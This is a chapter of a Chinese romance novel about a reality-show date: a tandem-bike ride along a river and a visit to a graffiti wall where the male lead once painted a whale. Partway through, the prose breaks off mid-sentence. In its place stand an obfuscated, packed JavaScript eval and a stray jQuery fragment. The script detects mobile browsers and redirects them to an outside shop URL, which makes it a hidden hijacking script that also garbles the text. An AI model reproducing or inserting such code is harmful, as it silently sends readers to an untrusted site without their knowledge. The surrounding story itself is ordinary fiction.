第二天,天气预报显示温度上升了五度。
梁若还怕天气预报骗自己,大早上特地穿得很厚出门走了一圈,又满头大汗地回来脱掉厚衣服。
陈又新手腕上挂着条围巾,看她轻轻巧巧地从楼上下来。
“你就穿这个?”他的语气带着明显的迟疑,“你这个外套也太薄了吧,要是要跟我出去约会又感冒加重了,我怕我被围殴哇。”
“外面很热。”梁若不在意地说,蹲下穿鞋。
陈又新接过她的包,眼底带着促狭的笑意,“好歹拿条围巾呢。”
他和任珩是室友,摆明了话里有话。
梁若是疯了才会把那件围巾掏出来到处显摆,她敲了敲陈又新的额头,面上波澜不惊,语气里带了点警告:“我叠好放衣柜里了。你想要?”
陈又新站在原地摸了摸自己被敲了的额头。梁若的力道很轻,连道红印都没留下,他还是下意识地抬头摸了摸,脸上是没忍住的笑意:“行吧,不带就不带。反正我带了,到时候晚上冷了你还可以围我的。”
然后他倚靠在门框上,一副很好说话的模样:“怎么说,今天想去哪里玩?”
梁若穿好鞋子站起身,仔细地打量起来陈又新。
倒春寒之后天气转冷,陈又新倒是没有捣鼓起来他那花衬衫,但穿得也不单调,深卡其的长款大衣,里头叠穿灰色针织和浅色竖条纹衬衫,没有很正式的打领带,只微微敞开一点扣子,拿本书就随便坐个树底下就能说自己怀念英伦的那些年。
梁若的目光从头到脚扫视了一遍,脸上没什么表情。但她这个架势看得陈又新不自觉地站直了身体,接受她的审视,一直到目光停留在那一尘不染的黑色皮鞋上,看见梁若轻微地歪了下头。
”怎么了?”陈又新的喉咙一动,不知道为什么突然紧张了起来,“这双鞋不好看吗?”
“倒也不是不好看……”梁若缓慢地说,似乎不知道要如何解释,“今天穿这双鞋的话,或许会有点辛苦。”
“会运动吗?”陈又新问。
梁若摇了摇头。
“走路很多?”他又问。
梁若想了想,又摇了摇头。
“那就不用换了吧。”陈又新一撩大衣,翘起自己光鲜亮丽的鞋头,骄傲地展示:“我觉得这么搭配比较好看,如果要运动的话我就要回去换一整套衣服,不过你说不是运动,所以就还是穿这双吧。你看看我这一双鞋是手工定制的,不仅好看走路也很舒服。我一个男人不娇气,走路稍微远一点也没关系。”
“那就行。”梁若满意地推开门。
外头是节目组的车,带了两人到了梁若给出的地点。陈又新单手插兜迎着江边的风头顶的阳,看梁若从旁边的遮阳篷下,推出一辆双人脚踏车。
江边是有这么一项旅游业务,且供这种车的骑行道路不算短。双人脚踏车大部分是情侣玩乐或者来旅游的一家三口才会来租上一辆,付款时甚至不用排队。梁若自顾自地坐在前面的位置,冲着陈又新向身后使了个眼色。
这种双人脚踏车比单纯的脚踏车要重,前面的人掌管方向,身后的人能做的就只有闷头努力蹬轮子,蹬两人份的轮子。因为梁若生病刚好,陈又新片刻不敢松懈。
他一开始以为只需要拍摄几分钟画面,毕竟江边双人脚踏车确实拍出来很好看。
没想到一骑绝尘,从起点,骑到了终点。
整条路,骑了两个小时。
梁若对天气预报的预测准确无误,这一天温暖无比,骑车时间久了还有点出汗。到了终点后,她去还车,陈又新就赶忙脱下围巾,叠起来挂在臂弯,把领子扯出来个更大的口,嘴巴干燥得如同跑了半场马拉松,感觉自己马上就要晕倒。
梁若回来的时候带回两瓶水递给他,他拧了两瓶还给她一瓶,然后自己一口喝掉了一整瓶,还是没怎么解渴。
“这瓶也是给你的。”梁若把另一瓶水塞他怀里。
“你是出来约会还是出来折腾我的?”陈又新也不管今天的穿搭多绅士了,一屁股坐在了江边台阶上。
“怎么坐下了,我们再去前面走一走。”梁若拉了陈又新一把。
已经快要傍晚了,要是还没找到X说的那个地点,今天的约会怕是真的是个笑话了。
“我就坐一会儿,就一会儿——”陈又新讨饶着不肯起来,他环顾了下四周,安慰梁若道,“这一片我很熟悉的,我高中就是在这里上的,前面没有路了。”
梁若听到前方没有路的时候愣了一下,垂头丧气地一屁股坐回陈又新旁边。
见梁若乖乖坐下,陈又新不动声色地松了口气。
滨江附近来散步的人越来越多,能看到不远处还有夸张的红色地毯和花拱门,大约有什么明星在这里参加快闪店活动,随着风吹来一阵阵的闪光和喧哗。
如果是池未莱在这里,大概能一眼认出是什么快闪,如果是许白俏在这里,能认识在活动的明星也说不定。梁若托着脸,在夕阳余晖下,人群外的边缘,安安静静地坐着,睫毛的阴影打在脸上,显得她整个人有点可怜。
“别这么哭丧着脸嘛。”陈又新偏过脸,对着她展颜而笑:“我在这附近有个秘密基地,等下带你去好不好?”
乔安然给的信息错得离谱。
陈又新带着梁若离开江边,沿着一条人烟稀少的支流往下走。这里虽然离江边近,但其实是苏州河的支流,落日斜斜擦过高楼,一侧是从不知道哪个年代留下的老墙,还留着浅绿色的青苔。
到了某个被大锁头锁着的步行道,陈又新熟门熟路地从铁门里穿过去,竟然一下子就将锁头掰了下来。他嘿嘿一笑,给梁若看手里那个几乎全生锈的锁头。这锁头上满是岁月的痕迹,早就坏掉了,只是挂上去做个样子,防止周围的小孩下水。
水泥平台上只有风和水拍打石墩的声音,两个人沿着河边的步行道走了没多久,就看到一座小小的桥头,下面简直是另一个世界,涂鸦层层叠叠盖满了挡浪墙,最大的那个是个蓝色的喷水鲸鱼,巨大的尾巴卷起,带着白色的浪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966595|213207||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
花占了大半个墙面。
梁若惊呆了。
陈又新缓步向前,他抬起手,指腹轻轻地触碰着墙面。河水散发的淡淡的潮气,无论什么样子的好颜料都不会保存完好,可是这里的颜料层层叠叠,大片氧化脱落,露出底下灰色的水泥,又被新的人上了一道新的颜色。
他的手指缓缓地拂过巨鲸的最下面,手指摸过的地方全是渣子,他脸上带着怀念,噗嗤一声笑了:“哪个兔崽子,竟然敢压我的签名。”
然后他转过来看她,好像是小美人鱼里的王子,身后的巨浪翻涌,浪花撞碎在岩石上,溅起了漫天的水雾,然后大海在他身后停滞了,像是一幅色彩缤纷的定格动画,巨大的鲸鱼在正后方,如同动漫里的守护神兽将他笼罩。
“这里怎么样?我高中的时候经常偷偷来这里画画。”陈又新转过来看她。
梁若一时没能说出话,过了一会儿,她才找回自己的声音。
“你高中经常来这里?”
陈又新点点头,指着那占了大半个墙的鲸鱼说:“这个就是我画的。”
梁若有点意外:“你还会画画?”
“画得不是很好。”陈又新摸着后脑勺不好意思地说。
“这还不好?这简直是......艺术啊!”即使是像梁若这种没有艺术天赋的人,也知道尺寸越大的画越难构图,更何况是这么大的,还要画在涂鸦墙上。
陈又新开心地笑了几声,“能听到你这样的夸奖,也算是来对了。”
他抬头看着那片鲸鱼,突然说:“其实我是一个没有天赋的人。”
梁若看看鲸鱼,又看看他。
陈又新冲她笑,他的五官在逐渐变色的夕阳下渐渐变得柔和。
“我高中的时候也以为自己是个有天赋的人,闹着要去学美术,我家里一开始不愿意,所以我才恼怒的整天不回家,一放学就跑到这里来画那个鲸鱼。后来家里人别不过我,把我送去巴黎读艺术专业。”
他伸出一只手将额发收回脑后,眼睛里带着读不懂的落寞,“艺术之都,最不缺的就是天才了。”
“我在那里毕业后,才知道自己对画画只是有点感兴趣而已,并不是真的热爱。我做不到一天里二十四小时睡醒就要画画,也没有痴迷到去哪里都能掏出速写本。”他说,“有的时候我的X会说我得到一切都太容易,所以经常不珍惜,她说得挺对的。”
“明明只是喜欢,却假装自己很爱。”
阳光已经完全变成了橙红色,把水面染成熔金,微风把他的额前微微卷曲的头发吹翻过去,露出饱满的额头。
陈又新双手插在口袋里,在落日余晖下,看着泛起层层涟漪的河水,突然转头问她。
“所以,你今天拉着我在江边骑车晃悠了那么久,就是在找这个地方吗?”
风将他敞开领口的衬衫吹得飞起,紧紧地贴在他锁骨上。
他的表情很认真:“是我的X告诉你的吗?她是怎么知道这个地方的,我从来没有带她来过这里。”